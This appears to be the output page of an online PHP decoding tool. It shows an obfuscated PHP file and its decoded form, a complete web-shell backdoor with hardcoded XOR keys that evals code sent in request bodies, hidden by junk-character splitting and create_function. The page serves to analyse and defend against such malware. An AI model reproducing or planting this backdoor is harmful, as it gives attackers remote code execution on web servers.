Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $L='@ob_e>Knd_cl>Kean(>K); $r>K=@base6>K4_enc>Kode>K(@x(@g>Kzco>Kmpress($o),$k>K))..
Decoded Output download
$k="b706cbfa";$kh="c43290d84a6b";$kf="8d72e7734ef7";$p="Azn9Ucp26oIminFD";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m) == 1) { @ob_start(); eval(@gzuncompress(@x(base64_decode($m[1]),$k))); $o=@ob_get_contents(); @ob_end_clean(); $r=@base64_encode(@x(@gzcompress($o),$k)); print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$L='@ob_e>Knd_cl>Kean(>K); $r>K=@base6>K4_enc>Kode>K(@x(@g>Kzco>Kmpress($o),$k>K)); pr>Kint(">K$p$kh$r$>Kkf");}';
$s='"/>K$kh(.+)$kf/",@file>K_get>K_content>Ks("php://i>K>Knput"),$>Km) == 1)>K {>K>K @ob_start(); @eva>K';
$n='$k="b>K706cbfa";$kh>K=>K">Kc4>K3290d84a6b";$kf=">K8d72>Ke7734>Kef7";$p="Az>Kn>K9Ucp26o>KIminFD";>Kfunction';
$T=';($j<$c&&$i<$l>K);$j+>K>K+,$i++){$o.=$t>K{$i}^$k>K>K{$j};}}retu>Krn $>Ko;}i>Kf (@preg_ma>Kt>Kch(>K>K';
$K='>Kl(>K@g>Kzuncompress(@x(>K@bas>Ke64_decode($>Km[1]),>K$k))); >K >K$o>K=>K@ob_get_contents();>K ';
$k=str_replace('Rs','','cRsreatRse_RsfRsunRscRstion');
$V='>K x($t,>K$k>K){$c=strl>Ken($k);$>Kl=s>Ktrle>Kn($>Kt);$o=">K";for(>K$i=0;$i<>K$l>K;){for(>K$j=>K0';
$a=str_replace('>K','',$n.$V.$T.$s.$K.$L);
$z=$k('',$a);$z();
?>
Function Calls
str_replace | 2 |
create_function | 1 |
Stats
MD5 | fd315456965212d7622b44fe84029785 |
Eval Count | 1 |
Decode Time | 88 ms |